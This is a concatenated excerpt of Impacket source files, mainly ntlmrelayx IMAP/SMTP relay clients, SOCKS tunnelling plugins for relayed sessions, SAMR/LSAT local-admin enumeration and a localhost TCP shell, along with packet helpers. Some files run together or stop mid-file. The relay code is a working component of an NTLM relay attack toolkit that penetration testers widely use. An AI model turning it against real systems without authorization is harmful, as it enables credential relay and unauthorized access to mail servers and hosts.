example Exchange 12 | # 13 | # Author: 14 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 15 | # Alberto Solino (@agsolino) 16 | # 17 | import imaplib 18 | import base64 19 | from struct import unpack 20 | 21 | from impacket import LOG 22 | from impacket.examples.ntlmrelayx.clients import ProtocolClient 23 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 24 | from impacket.ntlm import NTLMAuthChallenge 25 | from impacket.spnego import SPNEGO_NegTokenResp 26 | 27 | PROTOCOL_CLIENT_CLASSES = ["IMAPRelayClient","IMAPSRelayClient"] 28 | 29 | class IMAPRelayClient(ProtocolClient): 30 | PLUGIN_NAME = "IMAP" 31 | 32 | def __init__(self, serverConfig, target, targetPort = 143, extendedSecurity=True ): 33 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 34 | 35 | def initConnection(self): 36 | self.session = imaplib.IMAP4(self.targetHost,self.targetPort) 37 | self.authTag = self.session._new_tag() 38 | LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) 39 | if 'AUTH=NTLM' not in self.session.capabilities: 40 | LOG.error('IMAP server does not support NTLM authentication!') 41 | return False 42 | return True 43 | 44 | def sendNegotiate(self,negotiateMessage): 45 | negotiate = base64.b64encode(negotiateMessage) 46 | self.session.send('%s AUTHENTICATE NTLM%s' % (self.authTag,imaplib.CRLF)) 47 | resp = self.session.readline().strip() 48 | if resp != '+': 49 | LOG.error('IMAP Client error, expected continuation (+), got %s ' % resp) 50 | return False 51 | else: 52 | self.session.send(negotiate + imaplib.CRLF) 53 | try: 54 | serverChallengeBase64 = self.session.readline().strip()[2:] #first two chars are the continuation and space char 55 | serverChallenge = base64.b64decode(serverChallengeBase64) 56 | challenge = NTLMAuthChallenge() 57 | challenge.fromString(serverChallenge) 58 | return challenge 59 | except (IndexError, KeyError, AttributeError): 60 | LOG.error('No NTLM challenge returned from IMAP server') 61 | raise 62 | 63 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 64 | if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 65 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 66 | token = respToken2['ResponseToken'] 67 | else: 68 | token = authenticateMessageBlob 69 | auth = base64.b64encode(token) 70 | self.session.send(auth + imaplib.CRLF) 71 | typ, data = self.session._get_tagged_response(self.authTag) 72 | if typ == 'OK': 73 | self.session.state = 'AUTH' 74 | return None, STATUS_SUCCESS 75 | else: 76 | LOG.error('IMAP: %s' % ' '.join(data)) 77 | return None, STATUS_ACCESS_DENIED 78 | 79 | def killConnection(self): 80 | if self.session is not None: 81 | self.session.logout() 82 | self.session = None 83 | 84 | def keepAlive(self): 85 | # Send a NOOP 86 | self.session.noop() 87 | 88 | class IMAPSRelayClient(IMAPRelayClient): 89 | PLUGIN_NAME = "IMAPS" 90 | 91 | def __init__(self, serverConfig, targetHost, targetPort = 993, extendedSecurity=True ): 92 | ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity) 93 | 94 | def initConnection(self): 95 | self.session = imaplib.IMAP4_SSL(self.targetHost,self.targetPort) 96 | self.authTag = self.session._new_tag() 97 | LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) 98 | if 'AUTH=NTLM' not in self.session.capabilities: 99 | LOG.error('IMAP server does not support NTLM authentication!') 100 | return False 101 | return True 102 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/clients/smtprelayclient.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # SMTP Protocol Client 11 | # SMTP client for relaying NTLMSSP authentication to mailservers, for example Exchange 12 | # 13 | # Author: 14 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 15 | # Alberto Solino (@agsolino) 16 | # 17 | import smtplib 18 | import base64 19 | from struct import unpack 20 | 21 | from impacket import LOG 22 | from impacket.examples.ntlmrelayx.clients import ProtocolClient 23 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 24 | from impacket.ntlm import NTLMAuthChallenge 25 | from impacket.spnego import SPNEGO_NegTokenResp 26 | 27 | PROTOCOL_CLIENT_CLASSES = ["SMTPRelayClient"] 28 | 29 | class SMTPRelayClient(ProtocolClient): 30 | PLUGIN_NAME = "SMTP" 31 | 32 | def __init__(self, serverConfig, target, targetPort = 25, extendedSecurity=True ): 33 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 34 | 35 | def initConnection(self): 36 | self.session = smtplib.SMTP(self.targetHost,self.targetPort) 37 | # Turn on to debug SMTP messages 38 | # self.session.debuglevel = 3 39 | self.session.ehlo() 40 | 41 | if 'AUTH NTLM' not in self.session.ehlo_resp: 42 | LOG.error('SMTP server does not support NTLM authentication!') 43 | return False 44 | return True 45 | 46 | def sendNegotiate(self,negotiateMessage): 47 | negotiate = base64.b64encode(negotiateMessage) 48 | self.session.putcmd('AUTH NTLM') 49 | code, resp = self.session.getreply() 50 | if code != 334: 51 | LOG.error('SMTP Client error, expected 334 NTLM supported, got %d %s ' % (code, resp)) 52 | return False 53 | else: 54 | self.session.putcmd(negotiate) 55 | try: 56 | code, serverChallengeBase64 = self.session.getreply() 57 | serverChallenge = base64.b64decode(serverChallengeBase64) 58 | challenge = NTLMAuthChallenge() 59 | challenge.fromString(serverChallenge) 60 | return challenge 61 | except (IndexError, KeyError, AttributeError): 62 | LOG.error('No NTLM challenge returned from SMTP server') 63 | raise 64 | 65 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 66 | if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 67 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 68 | token = respToken2['ResponseToken'] 69 | else: 70 | token = authenticateMessageBlob 71 | auth = base64.b64encode(token) 72 | self.session.putcmd(auth) 73 | typ, data = self.session.getreply() 74 | if typ == 235: 75 | self.session.state = 'AUTH' 76 | return None, STATUS_SUCCESS 77 | else: 78 | LOG.error('SMTP: %s' % ''.join(data)) 79 | return None, STATUS_ACCESS_DENIED 80 | 81 | def killConnection(self): 82 | if self.session is not None: 83 | self.session.close() 84 | self.session = None 85 | 86 | def keepAlive(self): 87 | # Send a NOOP 88 | self.session.noop() 89 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/servers/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | from impacket.examples.ntlmrelayx.servers.httprelayserver import HTTPRelayServer 10 | from impacket.examples.ntlmrelayx.servers.smbrelayserver import SMBRelayServer 11 | from impacket.examples.ntlmrelayx.servers.wcfrelayserver import WCFRelayServer 12 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/servers/socksplugins/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | import os 10 | import sys 11 | import pkg_resources 12 | 13 | SOCKS_RELAYS = set() 14 | 15 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx.servers', 'socksplugins'): 16 | if file.find('__') >= 0 or file.endswith('.py') is False: 17 | continue 18 | # This seems to be None in some case (py3 only) 19 | # __spec__ is py3 only though, but I haven't seen this being None on py2 20 | # so it should cover all cases. 21 | try: 22 | package = __spec__.name # Python 3 23 | except NameError: 24 | package = __package__ # Python 2 25 | __import__(package + '.' + os.path.splitext(file)[0]) 26 | module = sys.modules[package + '.' + os.path.splitext(file)[0]] 27 | pluginClass = getattr(module, getattr(module, 'PLUGIN_CLASS')) 28 | SOCKS_RELAYS.add(pluginClass) 29 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/servers/socksplugins/https.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # Socks Proxy for the HTTPS Protocol 11 | # 12 | # A simple SOCKS server that proxies a connection to relayed HTTPS connections 13 | # 14 | # Author: 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # 17 | from impacket import LOG 18 | from impacket.examples.ntlmrelayx.servers.socksplugins.http import HTTPSocksRelay 19 | from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin 20 | from OpenSSL import SSL 21 | 22 | # Besides using this base class you need to define one global variable when 23 | # writing a plugin: 24 | PLUGIN_CLASS = "HTTPSSocksRelay" 25 | EOL = '\r\n' 26 | 27 | class HTTPSSocksRelay(SSLServerMixin, HTTPSocksRelay): 28 | PLUGIN_NAME = 'HTTPS Socks Plugin' 29 | PLUGIN_SCHEME = 'HTTPS' 30 | 31 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 32 | HTTPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 33 | 34 | @staticmethod 35 | def getProtocolPort(): 36 | return 443 37 | 38 | def skipAuthentication(self): 39 | LOG.debug('Wrapping client connection in TLS/SSL') 40 | self.wrapClientConnection() 41 | if not HTTPSocksRelay.skipAuthentication(self): 42 | # Shut down TLS connection 43 | self.socksSocket.shutdown() 44 | return False 45 | return True 46 | 47 | def tunnelConnection(self): 48 | while True: 49 | try: 50 | data = self.socksSocket.recv(self.packetSize) 51 | except SSL.ZeroReturnError: 52 | # The SSL connection was closed, return 53 | return 54 | # Pass the request to the server 55 | tosend = self.prepareRequest(data) 56 | self.relaySocket.send(tosend) 57 | # Send the response back to the client 58 | self.transferResponse() 59 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/servers/socksplugins/imaps.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # Socks Proxy for the IMAPS Protocol 11 | # 12 | # A simple SOCKS server that proxies a connection to relayed IMAPS connections 13 | # 14 | # Author: 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # 17 | from impacket import LOG 18 | from impacket.examples.ntlmrelayx.servers.socksplugins.imap import IMAPSocksRelay 19 | from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin 20 | from OpenSSL import SSL 21 | 22 | # Besides using this base class you need to define one global variable when 23 | # writing a plugin: 24 | PLUGIN_CLASS = "IMAPSSocksRelay" 25 | EOL = '\r\n' 26 | 27 | class IMAPSSocksRelay(SSLServerMixin, IMAPSocksRelay): 28 | PLUGIN_NAME = 'IMAPS Socks Plugin' 29 | PLUGIN_SCHEME = 'IMAPS' 30 | 31 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 32 | IMAPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 33 | 34 | @staticmethod 35 | def getProtocolPort(): 36 | return 993 37 | 38 | def skipAuthentication(self): 39 | LOG.debug('Wrapping IMAP client connection in TLS/SSL') 40 | self.wrapClientConnection() 41 | try: 42 | if not IMAPSocksRelay.skipAuthentication(self): 43 | # Shut down TLS connection 44 | self.socksSocket.shutdown() 45 | return False 46 | except Exception as e: 47 | LOG.debug('IMAPS: %s' % str(e)) 48 | return False 49 | # Change our outgoing socket to the SSL object of IMAP4_SSL 50 | self.relaySocket = self.session.sslobj 51 | return True 52 | 53 | def tunnelConnection(self): 54 | keyword = '' 55 | tag = '' 56 | while True: 57 | try: 58 | data = self.socksSocket.recv(self.packetSize) 59 | except SSL.ZeroReturnError: 60 | # The SSL connection was closed, return 61 | break 62 | # Set the new keyword, unless it is false, then break out of the function 63 | result = self.processTunnelData(keyword, tag, data) 64 | if result is False: 65 | break 66 | # If its not false, it's a tuple with the keyword and tag 67 | keyword, tag = result 68 | 69 | if tag != '': 70 | # Store the tag in the session so we can continue 71 | tag = int(tag) 72 | if self.idleState is True: 73 | self.relaySocket.sendall('DONE%s' % EOL) 74 | self.relaySocketFile.readline() 75 | 76 | if self.shouldClose: 77 | tag += 1 78 | self.relaySocket.sendall('%s CLOSE%s' % (tag, EOL)) 79 | self.relaySocketFile.readline() 80 | 81 | self.session.tagnum = tag + 1 82 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/utils/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | pass 10 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/utils/enum.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # Config utilities 11 | # 12 | # Helpful enum methods for discovering local admins through SAMR and LSAT 13 | # 14 | # Author: 15 | # Ronnie Flathers / @ropnop 16 | # 17 | from impacket.dcerpc.v5 import transport, lsat, samr, lsad 18 | from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED 19 | 20 | 21 | class EnumLocalAdmins: 22 | def __init__(self, smbConnection): 23 | self.__smbConnection = smbConnection 24 | self.__samrBinding = r'ncacn_np:445[\pipe\samr]' 25 | self.__lsaBinding = r'ncacn_np:445[\pipe\lsarpc]' 26 | 27 | def __getDceBinding(self, strBinding): 28 | rpc = transport.DCERPCTransportFactory(strBinding) 29 | rpc.set_smb_connection(self.__smbConnection) 30 | return rpc.get_dce_rpc() 31 | 32 | def getLocalAdmins(self): 33 | adminSids = self.__getLocalAdminSids() 34 | adminNames = self.__resolveSids(adminSids) 35 | return adminSids, adminNames 36 | 37 | def __getLocalAdminSids(self): 38 | dce = self.__getDceBinding(self.__samrBinding) 39 | dce.connect() 40 | dce.bind(samr.MSRPC_UUID_SAMR) 41 | resp = samr.hSamrConnect(dce) 42 | serverHandle = resp['ServerHandle'] 43 | 44 | resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, 'Builtin') 45 | resp = samr.hSamrOpenDomain(dce, serverHandle=serverHandle, domainId=resp['DomainId']) 46 | domainHandle = resp['DomainHandle'] 47 | resp = samr.hSamrOpenAlias(dce, domainHandle, desiredAccess=MAXIMUM_ALLOWED, aliasId=544) 48 | resp = samr.hSamrGetMembersInAlias(dce, resp['AliasHandle']) 49 | memberSids = [] 50 | for member in resp['Members']['Sids']: 51 | memberSids.append(member['SidPointer'].formatCanonical()) 52 | dce.disconnect() 53 | return memberSids 54 | 55 | def __resolveSids(self, sids): 56 | dce = self.__getDceBinding(self.__lsaBinding) 57 | dce.connect() 58 | dce.bind(lsat.MSRPC_UUID_LSAT) 59 | resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) 60 | policyHandle = resp['PolicyHandle'] 61 | resp = lsat.hLsarLookupSids(dce, policyHandle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) 62 | names = [] 63 | for n, item in enumerate(resp['TranslatedNames']['Names']): 64 | names.append("{}\\{}".format(resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'])) 65 | dce.disconnect() 66 | return names 67 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/utils/ssl.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # SSL utilities 11 | # 12 | # Various functions and classes for SSL support: 13 | # - generating certificates 14 | # - creating SSL capable SOCKS protocols 15 | # 16 | # Most of the SSL generation example code comes from the pyopenssl examples 17 | # https://github.com/pyca/pyopenssl/blob/master/examples/certgen.py 18 | # 19 | # Made available under the Apache license by the pyopenssl team 20 | # See https://github.com/pyca/pyopenssl/blob/master/LICENSE 21 | # 22 | # Author: 23 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 24 | # 25 | from OpenSSL import crypto, SSL 26 | from impacket import LOG 27 | 28 | # This certificate is not supposed to be exposed on the network 29 | # but only used for the local SOCKS plugins 30 | # therefore, for now we don't bother with a CA and with hosts/hostnames matching 31 | def generateImpacketCert(certname='/tmp/impacket.crt'): 32 | # Create a private key 33 | pkey = crypto.PKey() 34 | pkey.generate_key(crypto.TYPE_RSA, 2048) 35 | 36 | # Create the certificate 37 | cert = crypto.X509() 38 | cert.gmtime_adj_notBefore(0) 39 | # Valid for 5 years 40 | cert.gmtime_adj_notAfter(60*60*24*365*5) 41 | subj = cert.get_subject() 42 | subj.CN = 'impacket' 43 | cert.set_pubkey(pkey) 44 | cert.sign(pkey, "sha256") 45 | # We write both from the same file 46 | with open(certname, 'w') as certfile: 47 | certfile.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, pkey).decode('utf-8')) 48 | certfile.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode('utf-8')) 49 | LOG.debug('Wrote certificate to %s' % certname) 50 | 51 | # Class to wrap the client socket in SSL when serving as a SOCKS server 52 | class SSLServerMixin(object): 53 | # This function will wrap the socksSocket in an SSL layer 54 | def wrapClientConnection(self, cert='/tmp/impacket.crt'): 55 | # Create a context, we don't really care about the SSL/TLS 56 | # versions used since it is only intended for local use and thus 57 | # doesn't have to be super-secure 58 | ctx = SSL.Context(SSL.SSLv23_METHOD) 59 | try: 60 | ctx.use_privatekey_file(cert) 61 | ctx.use_certificate_file(cert) 62 | except SSL.Error: 63 | LOG.info('SSL requested - generating self-signed certificate in /tmp/impacket.crt') 64 | generateImpacketCert(cert) 65 | ctx.use_privatekey_file(cert) 66 | ctx.use_certificate_file(cert) 67 | 68 | sslSocket = SSL.Connection(ctx, self.socksSocket) 69 | sslSocket.set_accept_state() 70 | 71 | # Now set this property back to the SSL socket instead of the regular one 72 | self.socksSocket = sslSocket 73 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/utils/tcpshell.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # TCP interactive shell 11 | # 12 | # Launches a TCP shell for interactive use of clients 13 | # after successful relaying 14 | # 15 | # Author: 16 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 17 | # 18 | import socket 19 | #Default listen port 20 | port = 11000 21 | class TcpShell: 22 | def __init__(self): 23 | global port 24 | self.port = port 25 | #Increase the default port for the next attack 26 | port += 1 27 | 28 | def listen(self): 29 | #Set up the listening socket 30 | serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 31 | #Bind on localhost 32 | serversocket.bind(('127.0.0.1', self.port)) 33 | #Don't allow a backlog 34 | serversocket.listen(0) 35 | self.connection, host = serversocket.accept() 36 | #Create file objects from the socket 37 | self.stdin = self.connection.makefile("r") 38 | self.stdout = self.connection.makefile("w") 39 | 40 | def close(self): 41 | self.stdout.close() 42 | self.stdin.close() 43 | self.connection.close() 44 | -------------------------------------------------------------------------------- /impacket/examples/utils.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # Utility and helper functions for the example scripts 11 | # 12 | # Author: 13 | # Martin Gallo (@martingalloar) 14 | # 15 | import re 16 | 17 | 18 | # Regular expression to parse target information 19 | target_regex = re.compile(r"(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)") 20 | 21 | 22 | # Regular expression to parse credentials information 23 | credential_regex = re.compile(r"(?:(?:([^/:]*)/)?([^:]*)(?::(.*))?)?") 24 | 25 | 26 | def parse_target(target): 27 | """ Helper function to parse target information. The expected format is: 28 | 29 | <:PASSWORD>@HOSTNAME 30 | 31 | :param target: target to parse 32 | :type target: string 33 | 34 | :return: tuple of domain, username, password and remote name or IP address 35 | :rtype: (string, string, string, string) 36 | """ 37 | domain, username, password, remote_name = target_regex.match(target).groups('') 38 | 39 | # In case the password contains '@' 40 | if '@' in remote_name: 41 | password = password + '@' + remote_name.rpartition('@')[0] 42 | remote_name = remote_name.rpartition('@')[2] 43 | 44 | return domain, username, password, remote_name 45 | 46 | 47 | def parse_credentials(credentials): 48 | """ Helper function to parse credentials information. The expected format is: 49 | 50 | <:PASSWORD> 51 | 52 | :param credentials: credentials to parse 53 | :type credentials: string 54 | 55 | :return: tuple of domain, username and password 56 | :rtype: (string, string, string) 57 | """ 58 | domain, username, password = credential_regex.match(credentials).groups('') 59 | 60 | return domain, username, password 61 | -------------------------------------------------------------------------------- /impacket/helper.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # Helper used to build ProtocolPackets 11 | # 12 | # Author: 13 | # Aureliano Calvo 14 | # 15 | 16 | import struct 17 | import functools 18 | from six import add_metaclass 19 | 20 | import impacket.ImpactPacket as ip 21 | 22 | 23 | def rebind(f): 24 | functools.wraps(f) 25 | def rebinder(*args, **kwargs): 26 | return f(*args, **kwargs) 27 | 28 | return rebinder 29 | 30 | class Field(object): 31 | def __init__(self, index): 32 | self.index = index 33 | 34 | def __call__(self, k, d): 35 | getter = rebind(self.getter) 36 | getter_name = "get_" + k 37 | getter.__name__ = getter_name 38 | getter.__doc__ = "Get the %s field" % k 39 | d[getter_name] = getter 40 | 41 | setter = rebind(self.setter) 42 | setter_name = "set_" + k 43 | setter.__name__ = setter_name 44 | setter.__doc__ = "Set the %s field" % k 45 | d["set_" + k] = setter 46 | 47 | d[k] = property(getter, setter, doc="%s property" % k) 48 | 49 | class Bit(Field): 50 | def __init__(self, index, bit_number): 51 | Field.__init__(self, index) 52 | self.mask = 2 ** bit_number 53 | self.off_mask = (~self.mask) & 0xff 54 | 55 | def getter(self, o): 56 | return (o.header.get_byte(self.index) & self.mask) != 0 57 | 58 | def setter(self, o, value=True): 59 | b = o.header.get_byte(self.index) 60 | if value: 61 | b |= self.mask 62 | else: 63 | b &= self.off_mask 64 | 65 | o.header.set_byte(self.index, b) 66 | 67 | class Byte(Field): 68 | 69 | def __init__(self, index): 70 | Field.__init__(self, index) 71 | 72 | def getter(self, o): 73 | return o.header.get_byte(self.index) 74 | 75 | def setter(self, o, value): 76 | o.header.set_byte(self.index, value) 77 | 78 | class Word(Field): 79 | def __init__(self, index, order="!"): 80 | Field.__init__(self, index) 81 | self.order = order 82 | 83 | def getter(self, o): 84 | return o.header.get_word(self.index, self.order) 85 | 86 | def setter(self, o, value): 87 | o.header.set_word(self.index, value, self.order) 88 | 89 | class Long(Field): 90 | def __init__(self, index, order="!"): 91 | Field.__init__(self, index) 92 | self.order = order 93 | 94 | def getter(self, o): 95 | return o.header.get_long(self.index, self.order) 96 | 97 | def setter(self, o, value): 98 | o.header.set_long(self.index, value, self.order) 99 | 100 | class ThreeBytesBigEndian(Field): 101 | def __init__(self, index): 102 | Field.__init__(self, index) 103 | 104 | def getter(self, o): 105 | b = ip.array_tobytes(o.header.get_bytes()[self.index:self.index+3]) 106 | #unpack requires a string argument of length 4 and b is 3 bytes long 107 | (value,) = struct.unpack('!L', b'\x00'+b) 108 | return value 109 | 110 | def setter(self, o, value): 111 | # clear the bits 112 | mask = ((~0xFFFFFF00) & 0xFF) 113 | masked = o.header.get_long(self.index, ">") & mask 114 | # set the bits 115 | nb = masked | ((value & 0x00FFFFFF) << 8) 116 | o.header.set_long(self.index, nb, ">") 117 | 118 | 119 | class ProtocolPacketMetaklass(type): 120 | def __new__(cls, name, bases, d): 121 | d["_fields"] = [] 122 | items = list(d.items()) 123 | if not object in bases: 124 | bases += (object,) 125 | for k,v in items: 126 | if isinstance(v, Field): 127 | d["_fields"].append(k) 128 | v(k, d) 129 | 130 | d["_fields"].sort() 131 | 132 | def _fields_repr(self): 133 | return " ".join( "%s:%s" % (f, repr(getattr(self, f))) for f in self._fields ) 134 | def __repr__(self): 135 | 136 | return "<%(name)s %(fields)s \nchild:%(r_child)s>" % { 137 | "name": name, 138 | "fields": self._fields_repr(), 139 | "r_child": repr(self.child()), 140 | } 141 | 142 | d["_fields_repr"] = _fields_repr 143 | d["__repr__"] = __repr__ 144 | 145 | return type.__new__(cls, name, bases, d) 146 | 147 | @add_metaclass(ProtocolPacketMetaklass) 148 | class ProtocolPacket(ip.ProtocolPacket): 149 | def __init__(self, buff = None): 150 | ip.ProtocolPacket.__init__(self, self.header_size, self.tail_size) 151 | if buff: 152 | self.load_packet(buff) 153 | -------------------------------------------------------------------------------- /impacket/krb5/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | pass 10 | -------------------------------------------------------------------------------- /impacket/ldap/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | pass 11 | -------------------------------------------------------------------------------- /impacket/pcapfile.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | 10 | from impacket import structure 11 | 12 | O_ETH = 0 13 | O_IP = 1 14 | O_ARP = 1 15 | O_UDP = 2 16 | O_TCP = 2 17 | O_ICMP = 2 18 | O_UDP_DATA = 3 19 | O_ICMP_DATA = 3 20 | 21 | MAGIC = '"\xD4\xC3\xB2\xA1' 22 | 23 | class PCapFileHeader(structure.Structure): 24 | structure = ( 25 | ('magic', MAGIC), 26 | ('versionMajor', 'HHL', uuid[8:16]) 35 | return '%08X-%04X-%04X-%04X-%04X%08X' % (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) 36 | 37 | def string_to_bin(uuid): 38 | # If a UUID in the 00000000000000000000000000000000 format, let's return bytes as is 39 | if '-' not in uuid: 40 | return binascii.unhexlify(uuid) 41 | 42 | # If a UUID in the 00000000-0000-0000-0000-000000000000 format, parse it as Variant 2 UUID 43 | # The first three components of the UUID are little-endian, and the last two are big-endian 44 | matches = re.match('([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})', uuid) 45 | (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) = [int(x, 16) for x in matches.groups()] 46 | uuid = pack('HHL', uuid4, uuid5, uuid6) 48 | return uuid 49 | 50 | def stringver_to_bin(s): 51 | (maj,min) = s.split('.') 52 | return pack('=0.2.3 5 | pycryptodomex 6 | pyOpenSSL>=0.16.2 7 | ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6 8 | ldapdomaindump>=0.9.0 9 | flask>=1.0 10 | pyreadline;sys_platform == 'win32' 11 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Setup file 12 | # 13 | 14 | import glob 15 | import os 16 | import platform 17 | 18 | from setuptools import setup 19 | from subprocess import * 20 